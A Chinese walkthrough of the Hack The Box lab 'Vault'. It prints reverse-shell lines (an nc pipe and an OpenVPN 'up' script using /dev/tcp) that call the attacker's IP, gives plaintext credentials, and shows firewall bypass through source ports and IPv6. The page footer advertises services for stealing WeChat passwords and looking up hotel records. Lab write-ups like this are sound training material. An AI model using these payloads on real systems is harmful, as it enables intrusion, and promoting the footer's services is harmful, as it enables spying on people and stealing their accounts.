【HTB系列】靶机Vault的渗透测试详解

hacker5年前黑客文章333

  

  Kali: 10.10.14.213

  靶机地址:10.10.10.109

  先用nmap探测靶机

  nmap -sC -sT -sV 10.10.10.109

  扫描结果如下:

  

  看看80端口有什么东西

  

  我们用gobuster进行探测下

  gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100

  扫了很久没有扫出什么东西

  后来注意到这句话

  We are proud to announce our first client: Sparklays (Sparklays.com still under construction)

  尝试在Url后面加上/sparklay

  ~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays

  

  我们打开login.php

  

  打开下admin.php

  

  尝试过绕过以及常见帐户密码

  奇怪的是发现提交的帐户密码竟然是用GET方式,觉得很奇怪试着拦截登陆的数据包并放到sqlmap跑跑看,发现并没有注入点

  sqlmap -r sparklays-admin-login.req --batch

  

  我们在打开design

  

  是Forbidden,那么这个目录下我们在gobuster下

  gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design

  

  打开upload.php

  

  打开design.html看看

  

  点【Change Logo】

  

  我们写一个反弹的shell进行上传

  

  system('r, /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.213 1337 >/tmp/f');

  >

  被拒绝上传了

  

  我们来FUZZ下运行上传的后缀名看看能不能通过后缀名进行绕过

  这里我用到这个字典:

  https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

  

  这里我用burp的intruder模块进行fuzz

  

  发现php5是上传成功的,我们把shell改成shell.php5再次上传

  

  然后我们kali 开启监听1337端口

  

  我们在访问

  http://10.10.10.109/sparklays/design/uploads/shell.php5

  然后就会得到一个shell

  

  发现有2个用户

  

  我在dave的Desktop目录下面看到一个ssh文件

  

  Cat下得到一下内容

  

  dave:Dav3therav3123

  那么我们通过ssh连接到靶机上

  

  我们在看看dave桌面上的其他文件

  

  之一个key还不知道是什么意思就先留着。

  第二个Servers应该是对应服务器的IP以及该服务器是什么

  我们现在对DNS服务器进行扫描看看,但是靶机上面没有nmap 但是我们可以用nc当作端口扫描器

  

  

  我们可以看到192.168.122.4开放了22和80端口。由于是内网的环境我们是无法访问到192.168.122.4的,所以我们需要做一个隧道把192.168.122.4的80端口映射到我们本地的1234端口

  ssh -L 1234:192.168.122.4:80

  

  

  点击【Click here to modify your DNS Settings】

  

  发现是Not Found

  点击【Click here to test your VPN Configuration】

  

  打开后是一个VPN配置信息,并允许我们测试我们的VPN

  这里我找一遍关于如何用ovpn配置文件反弹shell的教程

  https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da

  我们找下靶机的内网IP地址

  

  让靶机监听9002端口

  

  remote 192.168.122.1

  nobind

  dev tun script-security 2

  up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'"

  

  先点【Update file】然后再点【Test VPN】

  就会得到一个shell

  

  得到userflag

  

  接下来是获取root flag

  我们在dave的目录里面找到一个ssh凭借

  

  dave:dav3gerous567

  我们直接通过ssh连接DNS服务器

  

  我们尝试sudo -i切换为root,

  

  但是目录里面没有我们想要的rootflag

  

  之前我们注意到在dave的机器上有三台服务器,但是最后的The vault 是没有给出IP地址的,root flag可能就在那台机器上,所以我们需要去找线索

  

  我们在DNS的hosts文件中找到了The vault的IP地址

  

  但是DNS服务器是无法ping通的

  

  但是DNS确实存在192.168.5.2的路由,猜测应该是禁止ping

  

  后来发现DNS存在nmap 我们用nmap来进行端口探测

  -Pn:表示默认主机在线,跳过主机发现

  -v:显示详细信息

  -n:不进行DNS解析

  

  发现2个端口都被closed,可能是真的关闭,但是也有可能是防火墙的原因

  我们尝试使用nmap 的 –source-port参数

  每个TCP数据包带有源端口号。默认情况下Nmap会随机选择一个可用的传出源端口来探测目标。该–source-port选项将强制Nmap使用指定的端口作为源端口。这种技术是利用了防火墙盲目地接受基于特定端口号的传入流量的弱点。端口21(FTP),端口53(DNS)和67(DHCP)是这种扫描类型的常见端口。

  

  发现一个987端口,我们用nc从本地的53端口进行连接

  

  是openssh服务

  对于这种防火墙我们可以尝试使用IPV6的规则绕过

  先查看DNS服务器是否支持IPV6

  

  FF02::1指所有开启了IPv6组播的主机,和IGMP中的224.0.0.1对应

  说明DNS服务器支持IPV6

  我们在查找下DNS服务器的的 邻居

  

  再看下DNS的路由和ip信息

  

  

  我们可以看到192.168.5.0/24的流量都要通过ens3到192.168.122.5去

  在192.168.155.5是防火墙的地址

  

  我们在看DNS的邻居,发现还有3条IPV6,说明vault的IPV6应该在里面

  我们在查看arp

  

  192.168.122.5对应的ipv6是fe80::5054:ff:fe3a:3bd5

  下面这2条ipv6的地址就是 valut和firewall的

  fe80::5054:ff:fec6:7066

  fe80::5054:ff:fee1:7441

  我们直接用nmap进行端口扫描,如果防火墙没有配置ipv6的规则的话如是valut的地址就会出现之前的987端口

  

  这样我们就确定了fe80::5054:ff:fec6:7066是vault的IPV6地址,并且防火墙规则并没有阻拦ipv6的地址,同时我们的DNS服务器可以直接通过ipv6绕过防火墙跟vault进行通讯

  那么我们直接ssh进行连接

  

  密码跟之前的一样:dav3gerous567

  

  

  

  我们可以看到这个pgp的ID为D1EB1F03

  我们看下vault系统是否存在密钥,不存在

  

  但是我们在dave@ubuntu上找到了

  

  所以我们需要把文件发送到dave@ubuntu进行解密

  我们退回到dave@DNS上,利用scp将文件拷贝出来

  scp -P 987 dave@[fe80::5054:ff:fec6:7066%ens3]:root* .

  输入密码:dav3gerous567

  

  

  然后我们需要在把这个文件传送到dave@ubuntu上面

  我们在ubuntu上面执行

  

  然后在DNS上把文件传输过来

  

  这样文件就到了Ubuntu上面了

  

  我们用md5sum来校验下文件的完整性

  

  

  文件正常传输的

  我们用gpg 解密下root.txt.gpg

  

  要求我们输入密码

  密码就是我们之前找到的key

  

  得到root flag

  

  

标签: 渗透测试

相关文章

可夹在衣服上的摄像头(可以夹在衣服上的相机)

可夹在衣服上的摄像头(可以夹在衣服上的相机)

本文导读目录: 1、哪里能买到小孩子穿的衣服上带监控摄像头的?在学校被欺负了回家不说,父母很着急 2、人家自己拍的视频都是第一人称头上或者衣服上带了个摄像机这种摄像机叫什么多少钱 3、有没有夹...

哪里有查询我老公陌陌信息

. 不同年龄段的孩子都会出现睡不好的情况,孩子睡不好确实是很让爸爸妈妈操心,孩子睡不好也影响成长和他的健康,那么怎么知道孩子睡不好的原因呢,怎么解决孩子睡不好的问题呢,友谊长存小编就来跟大家说说吧。...

如何利用SEO技术处理网络负面消息

如何利用SEO技术处理网络负面消息

大家都知道,如今整个互联网行业竞争非常激烈,网络上也时常会出现一些负面消息,那么今天SEO拖拉就简单聊一下如何处理网上的负面消息。 一、什么是网络负面信息 网络出现负面信息主要是指对在互联网上对企...

怎么查看老公和别人微信聊天记录

《锦衣之下》是很多人都在追的一部剧,而在昨晚的剧情中明明相爱的两人,陆绎选择了和今夏分手,虐了不少观众的心,网友纷纷表示求复合,那么,锦衣之下陆绎今夏复合是第几集?锦衣之下陆绎今夏为什么分手?下面友谊...

黑客网购行为搞笑视频(黑客镖梦回搞笑视频)

黑客网购行为搞笑视频(黑客镖梦回搞笑视频)

本文导读目录: 1、女子网购被骗千元,求助又掉“连环套”,网友:真是人傻钱多,你怎么看? 2、哪些黑客行为属于犯罪和非犯罪 3、黑客现场入侵支付宝,眼看要成功时却弹出一行字,是什么? 4、...

用什么方法可以查询到别人在酒店的开房记录

用什么方法可以查询到别人在酒店的开房记录 专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!微信早就已经成为了人们生活中必不可少的社交软件,现在微信的用户人群已经达到了十二亿,而...